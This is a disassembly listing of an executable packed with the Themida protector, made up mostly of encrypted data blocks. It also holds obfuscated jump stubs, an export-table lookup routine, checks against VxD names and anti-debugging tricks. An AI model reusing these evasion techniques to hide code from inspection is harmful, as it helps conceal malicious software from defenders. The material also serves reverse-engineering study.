dd 42209B37h, 3EA4909Eh, 0A81F2D17h, 0D6000005h, 8A67B906h
dd 45227449h, 0FFDC2E8Dh, 0B491E3D6h, 0F489A23h, 0EDD007A9h
dd 0A613BE9Bh, 5E617754h, 14A72F0Ch, 282EB6C2h, 58095542h
dd 17F45B56h, 0E863494Fh, 4F7751F1h, 0E81B0107h, 72F51F1h
dd 0B060CED8h, 5C096268h, 0A97157E6h, 93CBDA3h, 7AA9D158h
dd 32181EF6h, 4658093Dh, 0CDDA861Eh, 12D8B605h, 0B73EA4F3h
dd 539BFCDh, 97450000h, 0DAF9D628h, 1EB491E3h, 676E4B9Dh
dd 0B4230052h, 3A7EB709h, 0A5C6176h, 0C315A42Dh, 7BCDF2E6h
dd 3183389Eh, 0B1979D25h, 0C5580955h, 0A51363CAh, 66ABB1F9h
dd 3857E65Bh, 8F5C6410h, 0A318BE46h, 0D8079FF7h, 0D8B605CDh
dd 3EA4F41Ch, 0E4C9D7C1h, 9A000004h, 4E2B7D42h, 9E63885h
dd 0C3A0F2C9h, 7855A712h, 0D30C5E5Fh, 0B10CCBE5h, 6A4F825Fh
dd 229D3B18h, 0D8E3F3D0h, 0ECF27A86h, 58095606h, 12B81F1Ah
dd 3E4BF7C4h, 1772398h, 8F47FD9Dh, 0E790767Ch, 7CA451F1h
dd 0EDBA92E4h, 9DA8D7E6h, 0CED68239h, 0BA1031F7h, 9BF39F1Ch
dd 40F8E044h, 5EEACD11h, 547851F2h, 0E3D8FE36h, 0E922B491h
dd 0F25EFDE3h, 9CE91151h, 7FD7833Ch, 4D29FE7h, 54ECD102h
dd 0B72150A8h, 3D8F2CAAh, 34BF361h, 0EB1D0A2Ch, 3665B2C7h
dd 0A7972A30h, 0BB8357E5h, 686CFB5h, 0AEFCE358h, 0C2954F3Dh
dd 0C044730Bh, 52835098h, 1BE1A67h, 64CEFD55h, 6853C1Eh
dd 65254758h, 0D950F76Eh, 2007F8h, 131E0000h, 0ABB1F9A5h
dd 57E502E8h, 9CE28EB6h, 580602BAh, 0ECE7A3C5h, 0F8D9D679h
dd 0E285h, 40179C00h, 0D08CDDFBh, 0B6C1F052h, 86539B20h
dd 69C16D52h, 0D201BA1Ch, 417C5B68h, 7A6A22F9h, 927912B7h
dd 0EAECF963h, 6E06B71Ch, 9A21B5C2h, 640D3248h, 0BE1851F2h
dd 6561474Dh, 987551F2h, 7CD48039h, 22FA4CE4h, 553FB44Bh
dd 598832E8h, 0EB33884Eh, 0B9371D23h, 234B51F2h, 107E8AF4h
dd 6F121860h, 0FD57E60Ah, 39A783D5h, 0FE7B25D6h, 66BD3BE5h
dd 0F5851DACh, 0EB33CBA2h, 0FC3E62E5h, 4088B05Dh, 396FA178h
dd 3A49FEBAh, 0E6D7000Bh, 9D20B794h, 8FB13FBFh, 0BAC8B238h
dd 35Bh, 0B406B923h, 6FC1FCD7h, 297B4092h, 0DE30894Ch
dd 95E7D601h, 83545C5Ch, 0C60BE83Ah, 14C4A1F3h, 5A7C59ABh
dd 7B030F61h, 9578F75h, 41A8A358h, 0A6F8C512h, 66AE0DC9h
dd 0E7B2989Eh, 9EC651F1h, 13A65F6Fh, 0E4B1F9A5h, 0C61ECAF3h
dd 0E792787Eh, 7EA651F1h, 8043494Fh, 4E57E503h, 0C02BE167h
dd 12AA341Ah, 0CE965E66h, 692E2C8h, 48CEF658h, 58069362h
dd 0B2989E76h, 0C6580692h, 93D7069Eh, 580692B1h, 0E3F89ABCh
dd 0F8D94682h, 957Ch, 0CE9D7400h, 555E132Ch, 1A00064Eh
dd 2E58061Ah, 12F0D706h, 3E4BF7C4h, 32782499h, 51F1EC0Dh
dd 0ABFDBE18h, 7B308CEh, 99E18DFBh, 0E53DF093h, 4567E57h
dd 0CE16BA28h, 0FAF0A4C8h, 0D94D345Dh, 7E0788FFh, 0F2BF079Fh
dd 0A986D8E5h, 0C2F7DA2Eh, 83BC4C2Ah, 5F493891h, 26E51h
dd 0F3CC1000h, 0AE0FC4A1h, 68537F5Ch, 1D9C3916h, 0D4E9EECBh
dd 416F4982h, 0F8D52796h, 0B18EE0D9h, 69469827h, 0F0FC4E6Dh
dd 587C6268h, 95905809h, 0F8C5122Eh, 0AE0DC9A6h, 0C412A35Ch
dd 983E4BF7h, 87F5D123h, 5F0BB022h, 8A368352h, 0BA029A32h
dd 0E51CF5B4h, 755C2957h, 0DEE1F744h, 57032BAFh, 9B81874Fh
dd 0AF5805FCh, 32145887h, 3D5805FDh, 1647F1Bh, 0FDF8D9D9h
dd 2Eh, 0F9A51314h, 1BA8ABB1h, 0A77457E5h, 0DC608F2Ah
dd 0E0C208B4h, 0EB5805FBh, 531289C9h, 0BF8D9DDh, 24154334h
dd 215001B0h, 4ABBh, 4A17D200h, 7784308Dh, 99C8605Bh, 0F1E87255h
dd 3036FE51h, 51F1E84Ah, 0E7F0D6DCh, 0DC0451F1h, 34A1EE16h
dd 0DE4C5685h, 4B22EA32h, 1A2C4C4Dh, 696DBAC6h, 44DF2352h
dd 3057E60Eh, 0A04C6F63h, 0B8951948h, 9EF6A21Bh, 17FBB406h
dd 332874Ah, 9BE38BF9h, 0E51AD695h, 0B8648C57h, 5D33D9B0h
dd 685D38EEh, 6A13F539h, 0FC1E5806h, 6C20455Eh, 2CDEF8D9h
dd 0F5000000h, 0F1E7F7D9h, 1FB48151h, 0E802E8EEh, 0EE1651F1h
dd 0A493AA56h, 0FEF285EBh, 0ECE936CEh, 26949ECDh, 912C327Ah
dd 0FF57E6B7h, 13CC85D7h, 0ABB1F9A5h, 57E65B5Eh, 0F3C00830h
dd 0A986D8E3h, 6F468E2Dh, 0D3D17B10h, 0B41E4DEFh, 0A2D73AA8h
dd 9F8783B8h, 6A518966h, 58F0ED50h, 0A87278C0h, 745DFD8Eh
dd 9F37044Ch, 9F4B6E67h, 805DAF47h, 501D6556h, 0E8ED3A83h
dd 2C38A2D1h, 437A5DBEh, 577C76ECh, 0B44C93D4h, 5D07666Ch
dd 0D5FD6413h, 79F31BF7h, 614FE32h, 0B7h, 58AA15C7h, 1365587Bh
dd 0CD1F9C36h, 82D4E5F0h, 398B32A5h, 0DFF8B800h, 22AF8CDEh
dd 70684597h, 0B620FD4Fh, 1FA7B305h, 95A3319h, 0E54C4758h
dd 8D334017h, 784EE8D4h, 78D13F49h, 5AB25E5Fh, 0ACB27AC2h
dd 51F1FDC6h, 7D83B2DAh, 0E671C177h, 0A14D7557h, 11C44294h
dd 31E5FCA8h, 7594104Bh, 94DC740Ch, 82B10CC7h, 0CA419572h
dd 99BDEC4h, 32CAF258h, 9E124086h, 52B63168h, 0E1DAFC30h
dd 9724B28Fh, 0C2F7DEEBh, 9E6BC116h, 7ED68237h, 0AC5DFD4Fh
dd 18C4F7DFh, 508691C0h, 9A3C196Bh, 0A06D7521h, 0EED4DA33h
dd 2D1AA9Eh, 71342DAh, 3, 127DE45Eh, 3C49F5CAh, 6875219Ah
dd 96A34F70h, 0C5D27E3Bh, 0F2FFAB12h, 1F2CD8E5h, 4A5703B6h
dd 7A873388h, 33B86459h, 612368h, 24048900h, 4EB468h, 242C8900h
dd 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h, 95BD2414h
dd 817E4A21h, 662DFFEDh, 88B8500Dh, 0C12F9658h, 0ED0502E0h
dd 2D5A2E4Eh, 32B471BCh, 2D04E0C1h, 0E63F4F76h, 5458C531h
dd 8324148Bh, 0EC8304C4h, 242C8904h, 0FF08428Fh, 835A2434h
dd 34FF04C4h, 0C4835D24h, 0A1DE904h, 0EC8FFFFDh
; ---------------------------------------------------------------------------
or al, 52h
loc_57FFE6: ; CODE XREF: sub_57DEF5:loc_57E114j
mov eax, 6177391h
add eax, ebp
jmp eax
sub_57DEF5 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 86h
dd 2617FDC7h, 0D271932Dh, 0E7551039h, 0D615088h, 94358583h
dd 8099DD4h, 0AB4D467Dh, 60188AFAh, 5A21613Ah, 0EF0EA303h
dd 0B045ABE8h, 0DF2A4E16h
db 96h, 3Ch, 63h
byte_580023 db 0Ch ; DATA XREF: Themida_:005497E8o
; Themida_:00549FECo ...
dd 0D725E07Ah, 0BD7C470Ah, 882E10E3h, 8D1719D8h, 3050285Ch
dd 7B2DDCF0h, 6502BFB2h, 823EA5AFh
; ---------------------------------------------------------------------------
locret_580044: ; DATA XREF: ___:off_43285Co
; ___:00432864o ...
retf 2A1h
; ---------------------------------------------------------------------------
db 63h
dd 0D672D11Ch, 0C9351654h, 0E8490032h, 13h, 48B9D9BDh
dd 0EEFB0571h, 878BF83Fh, 67CE04B3h, 0FB86EC8h, 605ED8BFh
dd 0DE9h, 2B881B00h, 1CBCFAD2h, 312F67FBh, 0CAB099FAh
dd 0F8C68161h, 8B000067h, 80D22BC7h, 34FF4AEFh, 0BBB6632h
dd 0F98B59E5h, 15ADF181h, 0E981487Ch, 7654868h, 0E091E981h
dd 0F5120AAh, 1485h, 0FE900h, 56DF0000h, 5274739Eh, 6EA2B22Fh
dd 0E2019892h, 16048F82h, 0DA8B3FB7h, 0F01EA83h, 4A4AC7BFh
dd 0EF81664Ah, 0FA816E21h, 0FFFF98D4h, 22850Fh, 80600000h
dd 9E985CDh, 94000000h, 95C06F41h, 0F67B0BCBh, 26E961h
dd 0E0310000h, 23319673h, 337B3676h, 44DB8166h, 0FF7CE933h
dd 9CB4FFFFh, 444528A2h, 59268F03h, 36A2EAE2h, 0BEC6C8CFh
dd 13E8h, 0AAA73800h, 6E89A91Eh, 841976Fh, 30F36C4Eh, 36656761h
dd 5031CF81h, 0F5E0CE9h, 0C84h, 68F0F00h, 81000000h, 1D99DAC0h
dd 1DC68160h, 52000067h, 0E81BB660h, 0Dh, 0EC737686h, 3ECB12B0h
dd 0F8CA4C0Bh, 586158ECh, 199F68h, 168B5900h, 0F2812CB3h
dd 61E576F9h, 5E9h, 0E7C47700h, 0EA81BDDFh, 3931094h, 0C281FB8Bh
dd 1764B1C4h, 8E9h, 90082300h, 277CFB03h, 661689B1h, 0EE81D88Bh
dd 47D6D6A8h, 5881BE60h, 0D98B51C8h, 0A4C68161h, 8347D6D6h
dd 850F01E9h, 0FFFFFFAEh, 34EBDF8Bh, 4D534649h, 20205247h
dd 20444B56h, 20202020h, 204D4D56h, 20202020h, 4E495756h
dd 20203233h, 4C445856h, 20205244h, 3 dup(0)
; ---------------------------------------------------------------------------
jmp loc_58081E
; ---------------------------------------------------------------------------
push 0
push edi
call sub_580218
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_580218 proc near ; CODE XREF: Themida_:00580210p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 19h
inc edi
push edi
retn
sub_580218 endp
; ---------------------------------------------------------------------------
dd 25E73AEDh, 6A60662Dh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1B042444h, 45000000h, 8A2DC355h, 947AE338h
dd 0C7F8F00Fh, 17761D85h, 6, 0BB666000h, 0F78175B1h, 412A1A6Fh
dd 0F5C68B61h, 0FD8B70Fh, 1484h, 0E860F00h, 0E9000000h
dd 9, 0CD94700Fh, 7DDA899Dh, 10E8C1B4h, 18D0Fh, 0E9F50000h
dd 0Eh, 5841C7EAh, 5FD20EEFh, 0C1D52720h, 0C166406Fh, 6A08C8h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
dd 85893AC3h, 6177621h, 0CBC166F5h, 91B56008h, 0BE8h, 0A54F4700h
dd 41C3D0F7h, 59BC8DBCh, 840F6159h, 1, 40FB83F8h, 30850Fh
dd 8DF50000h, 1775F5BDh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1A04h, 0C3524200h, 0F190454h, 0FCFBC6AFh
dd 180E9h, 0FB83F800h, 25850F0Dh, 60000000h, 66D1BF0Fh
dd 63E4CB81h, 0FDBD8D61h, 0F5061775h, 160E9h, 0AE900h
dd 0ED200000h, 9F26BD7Dh, 0FAEE3C0Dh, 0F01FB83h, 8F85h
dd 0BE900h, 837B0000h, 909B1A65h, 0B2E741DCh, 0B70F60EAh
dd 8D61F8CBh, 177605BDh, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1D04h, 0C3504000h, 5C1E6734h, 0ADF95D65h
dd 2E9E724h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 4009C355h, 71AB77DDh
dd 3BBB6660h, 2850F4Bh, 53000000h, 8D0F615Fh, 14h, 0FE9h
dd 891BD700h, 38BA3E98h, 0B530C7B3h, 0B6B160A8h, 0F2AFB83h
dd 5A85h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1504h, 0C3514100h, 66602E31h, 60FA6EBAh, 5E96160h, 95000000h
dd 7575B66Bh, 0BD8D6161h, 617760Dh, 0CE9h, 960C7000h, 0FD1E1624h
dd 5C755762h, 63E98Ah, 8E90000h, 0C5000000h, 7DCAE7Fh
dd 83E6541Ch, 850F27FBh, 224h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 18h, 24C35646h, 0B112C6E4h, 15BD8DF5h
dd 6A061776h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 14042444h, 40000000h, 60CEC350h, 61E3B1FCh, 0F9FB8B60h
dd 25BD8961h, 60061776h, 66926BB8h, 0C7816606h, 66616FAFh
dd 0E960C88Ch, 0Eh, 427D973h, 0AD7873C2h, 98A0E8EDh, 24614F9Fh
dd 0C00AF803h, 103850Fh, 890F0000h, 8, 2850Fh, 61600000h
dd 7B4DB58Dh, 8BFC0617h, 177BCD85h, 0F50F906h, 0A81h, 5E900h
dd 85220000h, 897F929Fh, 6A2414h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 160424h, 57470000h, 919B61C3h, 18C0Fh, 0F9FC0000h
dd 244C010Fh, 5870FFEh, 60000000h, 61F85F57h, 57006A5Ah
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 83E4C6DEh, 0FC6024C2h, 1840Fh, 61F90000h, 0FC728966h
dd 0CE9h, 4655B500h, 0E33EF3B2h, 5412BB20h, 10CEC1CCh
dd 1B8D0Fh, 0E8600000h, 0Dh, 8DA67D2Ch, 0FFB9F68Eh, 0F1FBA6C3h
dd 0E7815F20h, 26797630h, 72896661h, 4CDF502h, 14E9h, 96D75F00h
dd 1376664Dh, 23A279CBh, 5EF55E99h, 0B300D7B9h, 98E92Fh
dd 0EE90000h, 6A000000h, 17482FA8h, 19BEA893h, 8C968471h
dd 0CD858B8Eh, 6A06177Bh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1B042444h, 42000000h, 0D5DC352h, 32AF7B82h
dd 0B58DE2F4h, 6177B4Dh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ch, 39C35040h, 3C51AD54h, 0CE3709F2h, 12858DF9h
dd 6A06174Ch, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 18042444h, 42000000h, 7F13C352h, 604B1CECh, 9048D281h
dd 0FF6174ECh, 8589F5D0h, 617761Dh, 8E960h, 92E10000h
dd 25326681h, 0B966C7CAh, 0FC616809h, 0FE961h, 2E00000h
dd 589C2A82h, 797BA4C0h, 91DAF572h, 0E9566054h, 0Bh, 0AC148B27h
dd 0BC5EEEF8h, 5A76EE00h, 5E58BB66h, 1D858B61h, 6A061776h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h
dd 42000000h, 0F01C352h, 18Ah, 8C0FFC00h, 17h, 12E9h, 0D93EA00h
dd 0D217F168h, 0FE4C5F0Eh, 98504F4Ch, 0C34E382Fh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 33C35242h, 0B9C5ED78h
dd 0E83AC46Ch, 12E937h, 2D7D0000h, 0FC2A62AEh, 6AF8B8B7h
dd 78B68491h, 5A40A16h, 53006A60h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1B04h, 0C3534300h, 25D687F8h, 0F94FEBD6h
dd 0CDBD83FCh, 6177Bh, 31850Fh, 12E90000h, 0A8000000h
dd 827E8878h, 0C78155CEh, 7D4815FEh, 0FAB15CAAh, 0CD85C719h
dd 3F06177Bh, 0F000101h, 0A85h, 5E900h, 7D180000h, 0E99A6E7Ah
dd 16h, 11E9h, 605F1200h, 9254BCEh, 2811C860h, 26DF8A2Ah
dd 20CDD029h, 0
; ---------------------------------------------------------------------------
loc_5807B0: ; CODE XREF: Themida_:005807E9j
or eax, eax
jz short loc_5807EB
lea esi, [eax+0Ch]
mov edi, [ebp+6177625h]
mov ecx, 8
loc_5807C2: ; CODE XREF: Themida_:005807C6j
cmpsb
jnz short loc_5807E7
dec ecx
jnz short loc_5807C2
mov ecx, [eax+30h]
mov ebx, [ebp+6177621h]
cmp ebx, [eax+34h]
jg short loc_5807EB
mov edx, ebx
imul edx, 4
add ecx, edx
mov eax, [ecx]
mov [ebp+617761Dh], eax
jmp short loc_5807EB
; ---------------------------------------------------------------------------
loc_5807E7: ; CODE XREF: Themida_:005807C3j
mov eax, [eax]
jmp short loc_5807B0
; ---------------------------------------------------------------------------
loc_5807EB: ; CODE XREF: Themida_:005807B2j
; Themida_:005807D4j ...
popa
mov eax, [ebp+617761Dh]
iret
; ---------------------------------------------------------------------------
jmp loc_5807FE
; ---------------------------------------------------------------------------
db 0CCh
; ---------------------------------------------------------------------------
cli
test byte ptr [ebp+46h], 0FAh
loc_5807FE: ; CODE XREF: Themida_:005807F3j
push 0
push esi
call sub_580809
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_580809 proc near ; CODE XREF: Themida_:00580801p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_580809 endp
; ---------------------------------------------------------------------------
db 0EBh, 88h, 9Bh
db 6Eh, 0F8h
; ---------------------------------------------------------------------------
loc_58081E: ; CODE XREF: Themida_:00580208j
mov eax, eax
jmp loc_5808A8
; ---------------------------------------------------------------------------
push ebx
push ecx
push edx
push esi
push edi
mov ebx, [esp+1Ch]
cmp word ptr [ebx], 5A4Dh
jnz loc_5808A1
movzx eax, word ptr [ebx+3Ch]
add ebx, eax
cmp word ptr [ebx], 4550h
jnz loc_5808A1
mov ebx, [ebx+78h]
add ebx, [esp+1Ch]
mov esi, [ebx+24h]
add esi, [esp+1Ch]
push esi
mov edi, [ebx+20h]
mov esi, [ebx+1Ch]
add edi, [esp+20h]
add esi, [esp+20h]
cld
or ecx, 0FFFFFFFFh
loc_58086B: ; CODE XREF: Themida_:00580881j
; Themida_:00580889j
inc ecx
mov ebx, [esp+1Ch]
mov edx, [edi]
add edx, [esp+20h]
add edi, 4
loc_580879: ; CODE XREF: Themida_:00580885j
mov al, [edx]
test al, al
jz short loc_580887
cmp al, [ebx]
jnz short loc_58086B
inc ebx
inc edx
jmp short loc_580879
; ---------------------------------------------------------------------------
loc_580887: ; CODE XREF: Themida_:0058087Dj
cmp al, [ebx]
jnz short loc_58086B
pop edi
shl ecx, 1
movzx eax, word ptr [edi+ecx]
mov eax, [esi+eax*4]
add eax, [esp+1Ch]
loc_580899: ; CODE XREF: Themida_:005808A3j
pop edi
pop esi
pop edx
pop ecx
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_5808A1: ; CODE XREF: Themida_:00580833j
; Themida_:00580844j
xor eax, eax
jmp loc_580899
; ---------------------------------------------------------------------------
loc_5808A8: ; CODE XREF: Themida_:00580820j
mov ecx, edx
jmp loc_580CAF
; ---------------------------------------------------------------------------
align 10h
dd 33000000h, 69206E41h, 7265746Eh, 206C616Eh, 65637865h
dd 6F697470h, 636F206Eh, 65727563h, 41282064h, 65726464h
dd 203A7373h, 78257830h, 500D0A29h, 7361656Ch, 63202C65h
dd 61746E6Fh, 73207463h, 6F707075h, 6F407472h, 6E616572h
dd 6F632E73h, 54202E6Dh, 6B6E6168h, 756F7920h, 21h, 0E3h dup(0)
dd 56000000h, 45000000h, 0
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_580CAF: ; CODE XREF: Themida_:005808AAj
jmp loc_581E26
; ---------------------------------------------------------------------------
or [ebp+6140995h], ebx
mov eax, [ebp+6143481h]
mov [ebp+6140BC1h], eax
cmp [esp+4], eax
jnz loc_580DA4
push 0
push esi
call sub_580CDB
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_580CDB proc near ; CODE XREF: Themida_:00580CD3p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_580CDB endp
; ---------------------------------------------------------------------------
sbb cl, [ecx]
scasd
shr byte ptr [ebx+63h], 1
dec ecx
jg short loc_580CF6
mov bh, 29h
loc_580CF6: ; CODE XREF: Themida_:00580CF2j
xchg eax, ebp
mov eax, ds:60061425h
mov si, ax
popa
cmp dword ptr [ebp+61414CDh], 0
jz loc_580DA4
push 0
push edx
call sub_580D18
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_580D18 proc near ; CODE XREF: Themida_:00580D10p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_580D18 endp
; ---------------------------------------------------------------------------
dd 0E9203F66h, 0Eh, 0E7368A6Bh, 7BD3E0D1h, 406561FEh, 51609319h
dd 958B5BF9h, 61425E1h, 13858D61h, 0F06143Bh, 680h, 0ED9D8900h
dd 60061424h, 80F0B70Fh, 0FF6162EBh, 53006AE0h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 1D880FF1h
dd 60000000h, 10E9h, 865CD100h, 9D3E0532h, 0CAFB617Ch
dd 0B71A89DDh, 39B58BF6h, 6106140Dh
; ---------------------------------------------------------------------------
loc_580DA4: ; CODE XREF: Themida_:00580CCAj
; Themida_:00580D07j
mov eax, [ebp+6140931h]
push 0
push edi
call sub_580DB5
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_580DB5 proc near ; CODE XREF: Themida_:00580DADp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_580DB5 endp
; ---------------------------------------------------------------------------
db 0ECh, 60h, 89h
; ---------------------------------------------------------------------------
xchg eax, ebp
rcl dword ptr [esi], 1
adc al, 6
pusha
sub [ebp+61402E9h], eax
popa
popa
jmp loc_580DE3
; ---------------------------------------------------------------------------
mov ch, 0A9h
xchg eax, esi
fstp8 st(2)
xchg bl, [eax+7Ah]
loc_580DE3: ; CODE XREF: Themida_:00580DD6j
cmp [esp+4], eax
jnz loc_580E22
jnp loc_580DF4
stc
loc_580DF4: ; CODE XREF: Themida_:00580DEDj
mov dword ptr [ebp+61780CCh], 1
push 0
push esi
call sub_580E09
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_580E09 proc near ; CODE XREF: Themida_:00580E01p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_580E09 endp
; ---------------------------------------------------------------------------
mov edi, ebx
das
cdq
retn 65F6h
; ---------------------------------------------------------------------------
db 5Fh, 0DDh
; ---------------------------------------------------------------------------
loc_580E22: ; CODE XREF: Themida_:00580DE7j
pusha
push 0
push edi
call sub_580E2E
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_580E2E proc near ; CODE XREF: Themida_:00580E26p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_580E2E endp
; ---------------------------------------------------------------------------
dw 8933h
; ---------------------------------------------------------------------------
add byte ptr [esp+ebx*2-75h], 2Bh
jmp loc_580E5E
; ---------------------------------------------------------------------------
dw 3FF9h
dd 0DDBF1B5Dh, 0AF277AECh, 0D3AC9D2Eh, 2CE70B87h
db 72h, 0EAh
; ---------------------------------------------------------------------------
loc_580E5E: ; CODE XREF: Themida_:00580E45j
clc
jmp loc_580E82
; ---------------------------------------------------------------------------
dd 6840F60h, 89000000h, 14045985h, 0E1816606h, 0F61B149h
dd 188h, 0F900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_580E82: ; CODE XREF: Themida_:00580E5Fj
mov eax, 1
loc_580E87: ; CODE XREF: Themida_:00580E8Fj
xchg eax, [ebp+617829Fh]
or eax, eax
jnz short loc_580E87
push dword ptr [ebp+6141A59h]
pop dword ptr [ebp+61780C4h]
push 20h
push 0FFFFFFFFh
call dword ptr [ebp+6143525h]
cmp dword ptr [ebp+6142C45h], 0
jz short loc_580EB8
push 0
call dword ptr [ebp+6141169h]
loc_580EB8: ; CODE XREF: Themida_:00580EAEj
cmp dword ptr [ebp+61403D9h], 1
jz short loc_580ECE
push 80h
push 0FFFFFFFFh
call dword ptr [ebp+6143525h]
loc_580ECE: ; CODE XREF: Themida_:00580EBFj
push 0
push edi
call sub_580ED9
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_580ED9 proc near ; CODE XREF: Themida_:00580ED1p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 16h
inc edi
push edi
retn
sub_580ED9 endp
; ---------------------------------------------------------------------------
dec ecx
dec esp
sub byte ptr [edx+0], 57h
call sub_580EF7
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_580EF7 proc near ; CODE XREF: Themida_:00580EEFp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_580EF7 endp
; ---------------------------------------------------------------------------
sar byte ptr [esi-8], cl
mov eax, 0
or [ebp+6141C59h], edi
mov edx, [esp+28h]
push 0
push esi
call sub_580F24
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_580F24 proc near ; CODE XREF: Themida_:00580F1Cp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_580F24 endp
; ---------------------------------------------------------------------------
test [eax+0Ch], al
jb loc_580F51
jmp loc_580F51
; ---------------------------------------------------------------------------
db 9Bh
dd 0ED25A749h, 3E769B30h, 0B4A0F488h
db 0E1h
; ---------------------------------------------------------------------------
loc_580F51: ; CODE XREF: Themida_:00580F38j
; Themida_:00580F3Ej
mov [ebp+61419ADh], edi
mov [ebp+61402F5h], eax
push 0
push esi
call sub_580F68
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_580F68 proc near ; CODE XREF: Themida_:00580F60p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 16h
inc esi
push esi
retn
sub_580F68 endp
; ---------------------------------------------------------------------------
push ecx
sub [ecx+266D8D29h], ebx
adc al, 6
mov esi, 3Ch
push 0
push ecx
call sub_580F91
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_580F91 proc near ; CODE XREF: Themida_:00580F89p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_580F91 endp
; ---------------------------------------------------------------------------
db 3Dh, 58h, 0FBh
dd 831238B3h, 0E95B6032h, 6, 0E889CB83h, 0BE96ABCh, 48000000h
dd 31CC96C4h, 0FFFCB219h, 74036A2Ch, 66F52424h, 0E19D89ADh
dd 306140Eh, 60242444h, 3897C681h, 8D8B6B8Fh, 6143195h
dd 840F5061h, 17h, 0F525060h, 0E9585A31h, 0Ah, 0F7023F78h
dd 40253057h, 896126D9h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1C0424h, 53430000h, 20698EC3h, 11A38CC1h
dd 8BF815B1h, 83F87840h, 1780CCBDh, 850F0006h, 132h, 820F90F8h
dd 19h, 840F5250h, 0
dd 8E9310Fh, 0C000000h, 6DC96EBBh, 5A2265DBh, 850F5058h
dd 18h, 11E960h, 0A6540000h, 0EFC6AB36h, 0AE296CECh, 496487E6h
dd 610C927Ah, 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1D04h, 0C3504000h, 0B75D83F3h, 0F81B4893h, 0BD892DF7h
dd 61404D1h, 313DB529h, 0FE90614h, 82000000h, 3107F7B2h
dd 86355042h, 0A9B8BE39h, 448B92D3h, 8D092C24h, 61406B5h
dd 0EE9h, 8DE8400h, 68C1E445h, 5BEC4CD5h, 503ADDD5h, 4810Fh
dd 0B2600000h, 489611Ch, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1904h, 0C3564600h, 0E1A0E7CFh, 6E9C3C1h
dd 0E5000000h, 6F0CF781h, 359D0925h, 8D06140Ch, 1752AB85h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h
dd 0C3534300h, 0FF110717h, 51006AD0h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0EA052693h
dd 0FF89D6Bh, 180h, 4403F500h, 6A2824h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 160424h, 55450000h, 3C93EBC3h
dd 0BE9h, 0CA262E00h, 0A72E599Ah, 8CA7C70h, 6A18408Bh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h
dd 42000000h, 0F5B9C352h, 8D8FBDFh, 6A400Fh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0F6EABEC3h
dd 0D60FCAFDh, 0FD9D29DDh, 8906142Ah, 1780C885h, 53006A06h
